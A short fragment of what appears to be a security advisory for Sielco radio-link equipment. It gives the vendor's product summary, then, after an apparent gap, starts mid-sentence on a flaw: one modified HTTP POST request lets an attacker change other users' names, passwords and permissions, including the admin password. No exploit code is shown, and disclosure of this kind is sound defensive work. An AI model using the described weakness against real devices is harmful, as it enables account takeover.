Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.

permissions by sending a single HTTP POST request with modified parameters
and edit other users' names, passwords and permissions including admin
password.
